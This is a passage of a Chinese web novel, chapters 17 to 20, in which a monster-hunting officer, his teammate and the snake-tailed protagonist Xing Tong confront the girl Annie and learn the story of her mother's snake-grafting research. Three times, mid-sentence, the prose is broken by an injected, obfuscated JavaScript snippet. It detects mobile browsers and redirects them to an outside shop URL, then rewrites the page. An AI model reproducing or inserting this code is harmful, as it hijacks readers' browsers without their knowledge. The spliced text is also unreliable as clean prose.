兴瞳紧张地看着他。 男人皱眉,丢下一句“你跟紧米奇”,整个人就像幽灵一般闪了出去。 他的速度很快,不过片刻的时间,大半条走廊就被清理殆尽——甚至于,兴瞳看不清他的行动轨迹,只听见血雾爆裂的声响,紧接着就是上百只怪物凭空分离的肢体。 几个呼吸后,走廊另一端,岳山原收刀,抬手擦了把额头的血痕。 米奇拍拍兴瞳的肩膀,嘴里吹了声响亮的口哨:“走!这次就要回家咯~” 兴瞳很快明白了岳山原为什么要和他们分头行动。 绞杀所有蛇人怪之后,男人并没有继续前进,而是用手一下一下抹着刀上的血水,似乎在等待什么东西的到来。 米奇朝兴瞳做了个“噤声”的手势,扔掉棒球棍,一手扛起胖子,一手领着他,垫着脚尖溜出房门,像只偷吃奶酪的小老鼠。 兴瞳乖乖缩在他身后,黑暗中,清亮的双眼像两颗猫眼石。 不多时,米奇脚步一顿,兴瞳随即停下。 ——两只一模一样的“怪东西”出现在走廊另一端,正对着岳山原的方向。它们以一种的同样的方式被黑布包裹,后背两根断骨隆起,下肢不自然地扭曲。 兴瞳说:“两只。” 米奇压低声音:“正常,都是情景意识的自我保护,做梦的时候有怪物咬你你还得反抗两下咧,这情景之主也不想死啊。” 兴瞳:“这些蛇人怪以前都是真的人吗?” 米奇:“难说,数量这么多一般就是幻化的,不过楼上那些、和咱们一起选款式的客人应该是真的。” 兴瞳:“……嗯。” 前方,岳山原像是完全没有注意到异常,仍然立在原地,反复擦拭他的猎刀。一分钟过去了、五分钟过去了……某一瞬间,其中一只“怪东西”突然暴起,尖叫一声,带着胶皮手套的爪子狠狠袭向男人的脖颈。 兴瞳下意识屏住呼吸。 “没事。”米奇说。 男人手腕一翻,刀柄磕向“它”的手肘,同时拧腰后撤,滑入身后的房间里。 他要干什么?兴瞳想,难道为了让他们先走,所以自己做诱饵吗? 另一边儿,“怪东西”捂着胳膊打了几个滚,发出两声尖锐的爆鸣,飞快朝着岳山原爬过去。与此同时,一直站在旁边不动的另一只也像是突然接收到了某种信号,从相反的角度扑向男人。 墙壁阻隔了兴瞳的视线,米奇按住他的肩,沉声道:“准备。” 准备? 兴瞳来不及多想,因为下一秒就被米奇拉着蹿了出去,一路上到处都是断肢残臂,虽然他的尾巴比脚耐磨些,但还是被剥落了好几块鳞片,嫩红的血肉没有了保护,一会儿扎进一根骨刺,一会儿压上一块烙铁——可兴瞳不敢喊疼,路过岳山原所在的房间时,他抓紧往里看了一眼。 男人的情况似乎不太好。他拿猎刀锁住了其中一个怪物的喉咙,刀刃却朝着外面,不敢下死手,紧接着,他又把另一只骗进浴室里,用背抵住门,脖颈和额头满是冷汗。 直觉告诉兴瞳,男人又在头疼了。 传说,人形污染物的精神一般都不大正常,很多有类似意识分裂、幻听、幻视等症状。男人虽然没有分裂,没有幻听,也没有幻视,但他经常头疼,而头疼,往往就是上述症状发作的前兆…… 兴瞳记下第三个证据。 米奇说:“弟弟,快来,你在看什么?” 兴瞳回过神:“……长官好像累了。” 米奇说:“那肯定的,我跑个3000米都累,他这种肯定累。” 兴瞳:“……”为什么要跑3000米? 米奇:“害,你别担心他,工作嘛,哪有不累的,就是钱给的也不多,不多就不多吧反正也没命花……” 他念念叨叨扛着胖子往楼上跑,突然好像想起了什么,轻咳一声,改口道:“不过呢,在档案馆工作还是很好的,心情不好就进情景里发泄发泄,那么多怪物随便杀。还有啊,吃饭喝水都免费,馆里还给安排住处,绝对不会被开除,假期还贼多——就是休的不太规律罢了。” 说完,他偷偷瞄了眼兴瞳,发现竟然毫无反应,似乎根本没有心动。 他又咳嗽了一声:“哎呀,还有那个什么……偶尔可以不遵守一点规章制度,比如爬到屋顶看星星,半夜出去买个冰激凌啥的——” 冰激凌? 兴瞳终于抬了下眼。 他张开嘴,米奇期待地看着他。 然而兴瞳说:“……什么味道的?” “啊?什么味?不、不知道啊,草莓巧克力香草咖啡?”米奇很迷茫。 “哦。”不是椰子味的,兴瞳兴致缺缺地低下头。 在他的记忆里,椰子味冰激凌要8元一个,其他味道只要5元,其中草莓和香草只要3元,而且椰子味是最好吃的——男人原来受过这么多苦,给档案馆卖命,连最贵最好吃的椰子冰激凌都吃不上。 随即,他又想到自己现在一分钱都没有,之后可能也吃不上了。 米奇沉默了。 他看着兴瞳陡然黯淡的神色,不知道“草莓巧克力香草咖啡”怎么就是个错误答案。 不多时,他们终于爬到顶楼。用蛇尾上下台阶确实不大方便,岳山原和米奇受过一些特殊训练,而兴瞳还没有掌握爬行动物蠕动的精髓。 胖子很沉,米奇呼吸越来越重:“呼……再坚持一下,要是老大在就好了,他能扛着你走,还能扛着这大哥,说不定还能把我也扛了。” 他话音刚落,兴瞳就下意识摸了摸自己的肚皮,又想到岳山原那金刚石一般让人很疼的肩膀。 米奇放下胖子。 走廊很安静,或许所有客人都被抓到下面去了,他放慢脚步,打开原本的房间检查了一圈,没问题才招手让兴瞳过来。 兴瞳扛不动胖子,只能抓着他的两条胳膊,把人拖进房间。 “休息会吧,等老大上来,”米奇关上房门,到处翻找也没有吃的,“饿了吗?饿了就睡一觉。” 兴瞳摇摇头。 米奇不放心,给他测了个SAN值,比之前稍微升高了一点。 “你的心理素质很不错,没被这情景影响太多,咳,我的意思是,没有特别多,咬咬脖子什么的已经很好啦……”米奇说,“很久之前老大也救过一个共感者,没救下来,等咱们出去了,博士肯定想见见你,可能还会死缠烂打,让你配合研究什么的。” “博士?研究?”兴瞳微微坐直了一些。 “就是档案馆的一个人,灵感跟老大比起来一般般,但智商奇高。我们身上刻的这些缩小版符号——就比如测SAN值的这个——都是他折腾出来的,”米奇咧开嘴,“他可喜欢研究异常情况了,一个能基本保持理智的共感者,不知道能让他疯成什么样。” 说这话的时候,米奇其实并没有想太多。 博士那家伙虽然痴迷研究,但人是好人,不搞科学怪人那一套,研究都是在规定允许的范围内正常进行,不会动不动就解剖这个解剖那个——他只是想讲点好玩的东西,转移转移兴瞳的注意力。 然而,作为一只隐藏在人群当中的“未知生物”,兴瞳的注意力非但没有被转移,反而被引到了错误的地方去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152831|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 博士要研究我? 他会发现我的秘密吗……他要把我绑起来,捉进实验室,然后用电击还是水刑?他会用几号手术刀解剖我,剖完会把我缝起来吗?如果我中途死掉又活过来,还会被再抓进去研究一次吗? 兴瞳打了个冷颤,感觉周围的空气一瞬间变得无比阴寒。 他低着头,轻声说:“如果我没有理智了,他还会想要研究我吗?” 这又是什么问题。 米奇挠挠脖子,说:“那大概不会了吧,共感者虽然少见,但博士肯定是见过不少。” 兴瞳松了口气。 那就好,那就只要找机会失去一下理智就可以。 他很擅长,不会出错的。 他把自己蜷缩起来,欲盖弥彰一般地转移话题:“长官什么时候离开下面?” 米奇看了眼时间:“就快了。这情景基本有自我保护机制,在二楼看不出哪个是安妮哪个是她爸爸,只能上来动手,老大估计……” 话没说完,房门就被人敲响。 米奇从玻璃小窗往外看了看,是岳山原。 ——男人带着血淋淋的气息闯进来,上半身赤//裸着,浸透血水的衬衣裹在腰间,那里似乎有一道不小的伤口,蛇尾也是一样,鳞片被撕扯掉得七零八落,之前离得太远,兴瞳根本没有看清。 米奇接过男人手里的东西:“怎么样?还要多久?” 岳山原摇摇头:“没跟着,可能要过点时间才会从二楼离开,我试过把它们的黑布取走,但每揭开一层,下面又是新的一层,没作用。” “那就只能等了。”米奇说。 兴瞳问:“它们……它一定会上来吗?” 岳山原说:“我拿了她的日记。” 艾米丽的日记本,每一页都有被反复翻看过的痕迹,其中有几页还被撕碎过,又极其小心地粘合到了一起。这是安妮的心爱之物,一段时间不见了,肯定会到处找。 而如果这情景的主人真是安妮,那么……她应该轻易就能知道自己的东西在什么方位、在谁手里。 米奇说:“真是她。” 岳山原皱眉:“再试探一次。” 米奇没意见。 入夜,他们开始处理伤口,最后一晚,不能因为受伤而出岔子。 胖子基本没受什么伤,但由于体积太大,免不了会有点刮刮蹭蹭。米奇的伤基本都集中在身前,他能够得到,就自己处理了。剩下岳山原和兴瞳,一个由于逃跑姿势太扭曲导致被刮掉的鳞片分布也很扭曲,另一个则前胸后背上上下下没有一个地方不受伤。 他们相对而坐,互相抱着对方的尾巴。 岳山原处理得很快,动作也很熟练,完全没有弄疼兴瞳,也没提之前被咬脖子的事。 全部处理好之后,他把记下来的线索又拿出来看了一会,看完,青年依旧保持着原来的姿势。 不由自主地,他的目光落在青年耳畔。 后者正专心致志,拿纱布沾了药水,一点一点抹到男人蛇尾鳞片缺失和断裂的地方。 一次药水用完了,他又探出手,那瓶子却已经空了。 他瞪大了双眼——好不容易才找到一瓶药水,怎么突然就没了? 他看向男人。 岳山原没觉得有什么不对,他说:“我不用,都给你了。” 兴瞳又看向自己的尾巴——男人帮他涂了很多很多药水,黑色的鳞片都被涂得泛绿。 他有点生气,但男人的蛇尾到底比不上他的原装腿骨,想了想,也就忍了,反正之后做成标本,肯定是要等男人有腿了才做。 他平复好心情,把药水换成烈酒继续,岳山原则向后靠着床头,不知在想些什么。 好半天,兴瞳觉得腰酸,于是换了个姿势,拽住男人的尾巴往自己这边拖了拖。 那尾巴不听话地缩了回去。 兴瞳:“?” 岳山原:“……” 两人沉默着对视。 就在这时,兴瞳的肚子很不争气地叫了一下。 男人扯了扯嘴角,一翻身坐起来,从一旁已经被撕得破破烂烂的衣服里,摸出一把散装酒心巧克力。 他扔了一颗给米奇,然后把剩下了都抛给兴瞳。 他拿走兴瞳手中的纱布:“吃吧,下面找的。” 18. 018 两个小时后,兴瞳被安置在靠墙一侧的视线死角,米奇给了他一个抱枕,说要是坚持不住快疯了就塞到嘴里,避免咬掉舌头。 安排好他这边,米奇又把胖子叫醒,让他和兴瞳呆在一起:“两位,现在是互帮互助的时候了,明白吗?” 胖子悲壮地点点头。 有米奇守着,等待的过程中,岳山原终于睡了一会。 虽然在这样的环境下没有人能够睡得安稳,但男人的神情已经脱离了“不安稳”的范畴,几乎显得有些痛苦。兴瞳盯着他颈侧的咬痕,心想,人形污染物在睡觉的时候会梦到什么? 兴瞳无法想象,因为他自己从没有做过梦。 几个小时前,那场关于亚当和布兰温的梦境……是他第一次做梦。 他们到底是谁?兴瞳抱着膝盖发呆,为什么他会进入布兰温的视角,而不是亚当,也不是凯斯医生。又为什么他完全不想把这件事情告诉岳山原……这似乎是出于一种生物自我保护的本能,可难道岳山原会因此杀掉他吗? 兴瞳叹了口气。 自从遇到男人之后,周围发生的事情就越来越复杂,他那褶皱不多的脑子也变得越来越光滑。 米奇说:“怎么了?” “嗯?”兴瞳抬起头。 米奇笑了笑:“叹什么气。” “我……”兴瞳抓紧抱枕的一角,“我有点害怕。” 米奇:“别怕,老大不会让你出事的。” “谢谢,”兴瞳说,“您和长官认识多久了?” 米奇:“五六年了吧。” 他没说很多,因为胖子在旁边竖着耳朵偷听,虽然想继续勾引一下兴瞳,但要是不小心说出“几乎不参加救援行动”、“风格比较暴力”、“话不多说就是一个杀”,那这胖子可能又要想东想西。 兴瞳心想,五六年,那么应该是很熟了,如果真是污染物,那可能也并不是最近才替代……或者根本没有替代,一开始,就是这只污染物假扮了岳山原的身份。 ——这种时候他的逻辑总是异常“清晰”。 米奇不再说话了,兴瞳也不说,一直到胖子起身去洗手间,他才又问:“之前的共感者,他疯了吗?为什么没被救援成功?” “行动太快,”米奇摇摇头,“很多年以前了,那个时候我还没跟着老大,只是听别人说……你应该能感觉到,共感者和情景联系是有多紧密,这情景稍微有一点波动就跟疯了似的。不明白?打个比方,你和老大在73号的情景里假装伴侣,你知道他不是你的伴侣,是救你的人,可你控制不住,这时如果一开始我们就动用灵感,直接把安妮或者她爸爸杀了,你不会解脱,你会疯掉。没有人能承受那样庞大的精神刺激,就好像半边脑子被人给切了似的,你懂吗?你会不惜一切代价,只为了把老大给囚禁起来,或者不是囚禁,是别的什么行为,具体没发生之前也不知道——总之,你会变得很疯狂。” 兴瞳的眼睛好像有魔力。 浓黑、纵深……像是能把周围的一切光、声音、实体乃至人类的精神全部吸引进去。 被他注视着,米奇忘了应该遵守的规定,忘了最好不要和普通镇民描述太多未知可能——那会刺激到他们,让他们的SAN值变得不稳定。 兴瞳隐约有了一些灵感,追问道:“除了囚禁,还有什么?” 米奇闭了下眼,然而似乎并没有什么用,依旧不由自主地说道:“还有……我想想……还有捆起来?捆起来应该算,之前有个情景,进了一对小情侣,在里面吵得你死我活,最后一个把另一个绑起来,俩人一块疯了。还有啊,我记得有一次,是有个人特别喜欢收拾东西,疯了以后就强迫所有人帮他一起收拾,被子叠完又拆,地扫了好几遍又扫……诸如此类吧。” 他在这方面经验不多,知道的就这些,既然兴瞳想听,他就都说了一遍,完全不知道兴瞳是要听来用在自家老大身上的。 兴瞳非常感激。 知道了怎么才算“失去理智”,就等于知道了怎么不被博士研究,不被博士研究,就不会发现秘密,就不会被电击水刑解剖做实验…… 他把自己省下来的最后一颗巧克力交给米奇:“谢谢您。” “害,你留着吧,这不算什么。”米奇自我感觉非常良好。 ——幸好这次岳山原是真的睡着了,没听见他说的这些坑爹话。 时针又走过两圈,男人突然睁开眼,从沙发脊背摸出刀,悄无声息地贴到门后。 他朝米奇打了个手势,后者就把兴瞳和胖子往墙角挤了挤,开始密切观察周围的情况。 沙沙。 一根墨绿色的指甲从门缝中探进来,紧接着,是无数根形状诡异的蛇尾尖尖,越探越深,越探越深……米奇暗骂一声,妈的这鬼情景,不管是安妮还是她爹,敢不敢自己上来啊? 岳山原飞快从小玻璃窗往外看了一眼。 只一眼,他就知道外面没有安妮。 他想了想,一刀斩下去,斩断了密密麻麻五六十根蛇尾,趁着怪物吃痛后退的功夫,他打开门,拎着刀闪了出去。 兴瞳看向米奇。 米奇说:“不杀光,真正的主人不会上来。” 胖子战战兢兢地问:“等、等等不行吗?要是一直拿不到日记本,肯定也会来……” 米奇“啊”了一声,挠挠耳朵:“行倒是行,可那不是要等很久吗,你们不着急回家?” 胖子欲哭无泪:“我害怕……” 米奇有点被吓到了:“你别怕啊,我这这这什么都没说呢,放心放心,马上就能回家了,真的啊。” 他一边安慰胖子,一边想着再也不参加救援行动,同时愈发觉得兴瞳淡定可爱,特别适合他们组。 正说着,一条断了一半的尾巴从门缝里飞进来,岳山原杀光了所有的怪物,把猎刀扔给米奇,米奇立刻和他交换位置,一个守在外面,一个守着镇民,不多时,走廊果然再次传来“沙沙”的爬行声。 岳山原一秒都没多耽搁,立刻拿出他的线索笔记,又核对了一遍。 胖子看傻了。 之前他晕着,没有见识到岳山原搜集、整理以及梳理线索的庞大过程,这会儿一看那纸,密密麻麻全是字,一时之间不知道是该高兴还是该绝望,第一次听说有人在情景中边写分析边杀怪——写得还不太熟练。 兴瞳默默掏出米奇不要的巧克力,塞到胖子手里。 他小声说:“你吃吧,不要害怕了。” 也不要去打扰我的标本。 岳山原头顶像是长了耳朵,他抬头看了眼兴瞳:“过来。” 胖子以为是叫自己,屁颠屁颠拿着巧克力跑过去,兴瞳紧随其后,岳山原就指着日记说:“我总结了一遍,每一页曾经被撕毁过的日记都是关于艾米丽对‘蛇’和‘永生’的一些看法。她认为亚种衔尾蛇是神对人类的启示,既然有了这种生物,就说明神给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152832|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了人类永生指明了线索。不死、不灭、依靠吞噬自己而反复新生,她还写过几首小诗,来表达自己的赞美。” 安妮没有理由撕毁母亲的日记,结合她的父亲一向反对母亲做这些事、还有那句“他救不了任何人”,岳山原认为是她父亲动的手。对于父亲,安妮的感情中或许多少夹杂了一些恨与不满——他明明可以“复活”艾米丽,也可以“复活”祖父祖母,但却拒绝这样做。 很可能在安妮被复活以后发生了某些事,导致她对父亲的不满愈演愈烈,懦弱、胆小、固执,放任至亲相继离世……这种不满可能在污染物的影响下又进一步放大,以至于造成了今天的局面,甚至于,安妮的复活本身可能也不像他们所想的那样简单。 如果是这样,那么之前发生的所有都说得通。 胖子举起手,刚想说点什么,米奇整个人就撞破门板,倒着飞进屋内。 他骂了一句,就地打了个滚,翻到岳山原身后:“老大!人来了!” 岳山原把手里的纸放下。 门外,安妮面容戚戚,双眼含泪,绸缎般的头发疯长至脚边。 她握着一把剔骨刀,穿着一身普通的衣裳,一步步走向岳山原:“妈妈的日记呢,妈妈的日记的日记的日记的日记……” 胖子叹气。 兴瞳环视四周,没有发现任何岳山原可以当做武器的东西——那把猎刀已经被折断了。 米奇带着他和胖子后退,给岳山原让出一定空间。 在安妮距离他只有一米的时候,男人的后背突然亮起一团光晕,两根细细的光丝从脊背延伸而出,眨眼间,就在安妮的眉心穿插了几十个来回。 那细丝白的像雪,泛着淡淡的光泽,横亘在安妮和岳山原之间,却像是一道怎么都跨不过去的天堑。 “那是什么?”兴瞳问。 “灵感线,”米奇说,“只能用来杀最终boss,如果是对的,那就皆大欢喜,如果是错的——” 他握紧手里的断刀:“那就准备拼命。” 可兴瞳知道是对的。 男人后背的衣服被光照得透明,透过那层布料,他看到了一个纹身,形状是一只巨大的眼睛,线条清晰入骨,源源不断的灵感线就是从瞳孔连着脊柱的地方冒出来,但之前处理伤口的时候并没有发现。 更让兴瞳惊讶的是,那眼睛仿佛有灵性,在他看过去的刹那间亮了一下,眼尾也跟着微微上扬——虽然只有一瞬,但兴瞳还是感觉到了它的愉悦。 那么安妮就是正确答案了? 兴瞳突然有点紧张,飞快把自己的可选项又过了一遍。 一,囚禁;二,捆绑;三,收拾屋子、反复叠被子、扫地…… 此时此刻,博士在他心里的形象比巨型蛇人怪还要恐怖,鞭策着他努力自救。他屏住呼吸,目光在三个人之间来回转动——虽然胖子看起来很好欺负——但最后还是停在了岳山原身上。 留给我的时间只有1个小时,兴瞳想,我得赶快失去理智,不过要等等,等到一切都结束之后……他这样计划着,被米奇看上的“灵感”却突然爆发,他直觉有什么东西正在他和胖子的后方,阴冷的气息那样近,似乎不过一步之遥。 他眨眨眼,站在原地没动,在他发现的前一秒,岳山原也回过头。 两人对视一瞬,兴瞳仿佛明白了什么,他用力侧身撞开胖子,同一时间,男人手里飞出一道寒光,直朝着这个方向而来—— 19. 019 滚到房间左侧,兴瞳痛哼一声,蜷缩着抱住蛇尾。 胖子的重量与他天差地别,这么一撞之下,他或许把尾骨折断了,现在只能尽量往后扑腾,让自己紧紧贴住墙壁。 “救命,救命!!!”胖子吱哇乱叫地爬过来,抓着兴瞳的胳膊把他拖到墙角,然后又拖过来一个软沙发,挡在两人前面,“这是什么东西救命啊!!!你的尾巴怎么啦!!还能动吗!” “你……你不要害怕。”兴瞳额头布满冷汗,他从没有过尾巴,也没有别人折断过尾巴,竟然不知道会这样痛…… 胖子抱住他的胳膊:“我害怕啊啊啊啊 !!” “唔……”兴瞳往旁边躲了一下,艰难摸出最后私藏的一颗巧克力,“你吃吧。” 胖子:“呜呜……谢谢你呜呜呜呜。” 不远处,把胖子吓了个半死的怪物正在和岳山原打架——或者说被单方面殴打。 那怪物似是个“人”,佝偻着背,两只眼眶中的眼球都脱落了,肉糜糊在四周,脸部皮肤青白干裂,完全看不出原本的形貌。 是安妮的父亲。 不知道为什么变成了现在这个样子,似乎神智有点不清,只知道拿东西去砸去砍岳山原,人却始终躲在两米外不敢靠近。 “老大!”米奇把手里的半截猎刀扔出去—— 岳山原闻声跃起,半空中接刀,同时翻了个身,躲过安妮父亲扔来一盏台灯。 他不能杀了他,只能用刀挥开过于坚硬的物体。 顶着一片噼里啪啦的“枪林弹雨”,他把安妮的父亲逼退到玻璃窗边,身后再也没有退路,也没有可以拿来扔的东西,男主人大叫一声,朝着岳山原的腰扑过来—— 那声音像野兽,蕴含着穷途末路的自卑与绝望。 胖子又叹了口气,连处于游离状态的兴瞳都抬起脸,可岳山原依旧没有什么表情,他站在原地,在男主人靠近的时候,用刀柄磕了下他的后脖颈。 男主人晕了,米奇把他捆好放到门外。 岳山原扔下刀,抖了抖身上的碎玻璃碴子,走到兴瞳和胖子跟前,把胖子拖来的软沙发扔到一边:“受伤了。” 兴瞳低下头:“嗯。” 他只有尾巴尖还能动,于是轻轻扫了两下,勾住男人的手腕。 门口,米奇朝胖子招招手,胖子一看见他就跟有了主心骨似的,一溜烟飞奔过去,顺便还没忘带走兴瞳的巧克力。 墙角只剩下两个人,周遭的空气却显得更加拥挤。 岳山原矮下身来,把缠在腕上的尾巴放到手心——那尾巴蔫蔫的、软趴趴的,早没了之前缠他腰时的力道。 “别乱动。”他引导着青年躺下,检查了疑似断裂的几个地方,他一碰,手底下的人就闷哼,也不喊疼,就半睁着眼看他,湿润的黑眸子像是两颗小珍珠。 岳山原第一次发现自己也有怜惜什么人的时候,他沉默片刻,下手按了按:“这里疼吗?” 兴瞳点点头。 “这?” 兴瞳又点点头。 “这里。” 这次兴瞳不仅点头,还轻轻叫了一下。 岳山原皱眉,卷起兴瞳的衣服塞到他嘴里。 兴瞳乖乖咬住。 男人看了他一眼,找来几块木板,横七竖八地做了一个简易支架,固定住蛇尾的中段部分。 兴瞳疼得直冒冷汗,但岳山原并没有停下,情景快要结束了,可接下来1小时也不敢说百分百安全,不管受了什么伤,能处理都要尽快处理。 五分钟后,他做好固定,说不上为什么,或许是出于安抚,顺手拨了拨兴瞳的尾巴尖。 “唔。” 兴瞳微微睁大双眼。 他没想到,看起来严肃的男人竟然会这样做。 岳山原也没想到。 他愣了一瞬,下意识捻了捻手指,随即飞快丢下一句“躺着别动”,就和米奇一起滑到安妮跟前。 兴瞳的目光追着他的背影而去,半晌百无聊赖地晃了晃尾尖,他不明白男人为什么要逃走,或许是因为他的尾巴并不好玩。 …… 不远处,安妮一动不动地趴在地上,眉心仍然被岳山原的灵感线穿联,父亲攻击岳山原、父亲被敲晕扔到走廊……整个过程她无动于衷,看都没往这边看一眼。 米奇伸手在她眼前晃了晃:“我们是人,外面来的人。” 安妮露出一个表情,那意思好像是“你是蠢货”。陷入情景中太久,她慢慢开始分不清虚幻与现实,但被灵感线穿透的刹那,那些痛苦的回忆就再次涌现——她不愿醒,她不想醒,她的至亲都死了,活在情景中是唯一的慰藉。 可眼前的男人……他并不容安妮有半分拒绝,如潮水般恢弘的意念直顺着灵感线传过来,源源不断地影响着她的思绪。 她听见男人说:“已经结束了,我想要知道,这里发生过什么。” 安妮平静地抬起头,灵感线的控制下,她没办法抗拒岳山原的指令:“你们看过了我妈妈的日记,你应该知道,她和我爸爸……我父亲的关系并不好。” “等等。”米奇一抬手,咬破指尖,把血滴到掌心一处微型纹身上——那也是博士发明的镌刻纹路,作用是录音录像,只要一滴指尖血就能激发,可以连续记录60分钟。他对安妮说:“不介意吧?记录一下出去复盘。” 安妮:“……” 她继续道:“他们在大学里相爱,我妈妈学艺术,我父亲学机械控制,那个时候两个人都很好,很快乐……大学毕业没多久,他们就结婚了。” 机械控制是什么? 岳山原和米奇都有点疑惑,但两人对视一眼,并没有追问——这四个字好像吹过蓝天的一阵风,只留下了那么一点微不足道的印记,随即就被轻描淡写地放了过去。 安妮说:“结婚第二年,他们有就有了我,但紧接着下一年我父亲就查出患‘病’,妈妈带我去检查,发现我也遗传了那种‘病’。为了治疗,我们花光了所有积蓄,我父亲去修车厂卖苦力,妈妈也辞掉了原本艺术画廊的工作,改成给人设计衣服赚钱。这‘病’很难治好,两年后,我父亲症状越来越明显,背越来越驼,我虽然年纪还小没有表现出来,但也是早晚的事……祖父和妈妈带我去更好的医院,医生说可以治,但至少需要两百万,当时我们家还剩下的钱只有二十五万。” 难怪刚刚男主人的背佝偻成那样,原来是得“病”了。 安妮:“有一天,我听到妈妈和祖父祖母说,她在山间发现了一条小蛇,很像传说中亚种衔尾蛇,她有朋友在学校里研究这种生物,可以用来给人嫁接蛇尾,正好,现在很多有钱人寻求异种改装,如果他们能做这种生意,给父亲和我治病的钱也就有了。祖父祖母相信了妈妈的话,并且很支持她,但我知道事实不是这样的,妈妈没有在山间发现小蛇,那条蛇,某天清晨……就凭空出现在妈妈枕边,连同一本奇怪的《亚种衔尾蛇使用手册》。” “凭空出现,你懂吗?像是魔鬼的引诱,但没有人能够拒绝,至少妈妈不能。她开始经常自言自语,听见有蛇在耳边低吟,她听见‘死亡’、‘□□进化’与‘灵魂永生’……她感到害怕,但为了我们,妈妈并没有停下。” “然而,不可避免地,父亲突然得知了这件事,他反对从事这样的生意,声称哪怕去死,也要清清白白的死,不能做邪恶的、亵渎神的事。妈妈很生气,她问难道让我也跟着去死吗,我父亲说是的,布朗家的人,从不畏惧死亡。” 说到这,安妮咧了咧嘴角:“可我畏惧,我不想死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152833|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我想要一个正常的童年,我想要和妈妈在一起幸福生活,我不想只有短短十几年的生命,这世界上还有那么多我没看过的东西,我想把病治好,做一个正常人!” 米奇说:“所以艾米丽·布朗开始自己研究人蛇嫁接工艺,并在你祖父祖母的帮助下,瞒着你父亲有了第一个客户。” “对,第一个客户支付了60万,妈妈很高兴。你们应该已经看过了,嫁接蛇尾不需要自身也变成‘衔尾生物’,只需要通过某种手段,就能借用亚种衔尾蛇的力量。妈妈说她不会研究别的东西,只研究这些最基本的,赚到钱,就把衔尾蛇送走,可事情难道有这么简单吗???!!!” 安妮突然大喊了一声,胸口不住起伏,岳山原不得不增加了一根“灵感线”,才勉强平复好她的情绪。 安妮憎恨地说:“被污染物盯上的人类,从没有好下场。我知道妈妈被影响了,她偷偷研究如何彻底驾驭亚种衔尾蛇,如何永生,如何再造断肢……我见过她的笔记,很多、很厚,字迹潦草得不像人类——我害怕那条蛇,每次看见它匍匐在妈妈脚边,我都想扯掉自己的皮、挖出自己的眼珠、割掉自己的鼻子,哪怕抛弃一切外在感官,只要能不再感知到它的存在。” “可我没有这样做。” “在妈妈出事的那一天,我意识到它是唯一能够帮助我的存在。” “那天雨很大,妈妈本来不需要上山采药草。但我父亲,他偷偷取消了妈妈和第二位客户的预约,并斥责对方是亵渎神的杂种。客户很生气,直接询问妈妈怎么回事,无奈之下,我们只好答应立刻为他们完成嫁接,并且减少50%的费用,否则他会向他的朋友指责我们的服务。” “……妈妈连夜上山,但却遭遇了泥石流,她的尸体被救援队捡回来,脸和胳膊都已经烂了,那是我的妈妈啊,我只有一个妈妈,她离开前还亲吻我,跟我说晚上见!!!”安妮痛苦地流泪,门外,走廊上的人似乎听到了她说的话,发出一点微弱的哀鸣。 安妮深吸了几口气,擦干眼泪继续道:“我立刻想到了妈妈的研究——如何复活一个人——甚至于,她连药水和粉末都配置好了,准备偷偷躲起来做实验。我找到那些东西,按照笔记上说的开始仪式,但我做了一个错误的决定,我没有去找祖父祖母做辅助者,而是去找了他!我的父亲!!” “我被关起来,仪式的用品被毁掉,不管我怎么哀求,他都不愿意把妈妈救回来,我好痛苦,我从没有那样痛苦,明明知道有办法再听见她的声音,明明知道有办法再拥抱她一次,明明知道有办法,可是就是不能、不行,只能等,只能哭……哈……两天,两天后,他火化了妈妈的遗体,然后带着我、还有祖父祖母,一起离开了生活近十年的家乡,来到枫糖。” 米奇沉默片刻,问:“你们的病,是怎么治好的?” “父亲的病从没有治好,”安妮面无表情,“他拒绝使用嫁接人蛇赚来的钱,也不允许我用。是祖父祖母把他关了起来,然后按照妈妈的笔记招揽客户、嫁接人蛇……慢慢的,就经营起73号公路这家旅馆。” “我的病被治好了,那条蛇也不见了,我以为一切都已结束,直到某一天……” 安妮的眼底闪过一丝阴霾:“直到某一天,一个万里无云的早晨,我醒来,一条黑色的蛇盘踞在我脚边。” “我知道它在说话,蛇在说话,一句又一句,直接钻进我的脑子里,我控制不了,我停不下来,我——” “它说了什么。”胖子打了个哆嗦。 “听不懂,听不明白,我只知道,它在说些什么,一刻不停地说……黑暗的使者、蛇的低吟、永生与肉/体、复活与吞噬,永远也不停止,永远也不停止,哈………那些声音……那像是在永夜中行走的生物才会使用的语言!” 20. 020 永夜。 永夜是无穷无尽的黑暗…… 黑暗中什么都可能有,但从不暴露人前。 莫名地,在场所有人都静默了一会儿,足足过了半分钟,岳山原才轻声道:“继续。” 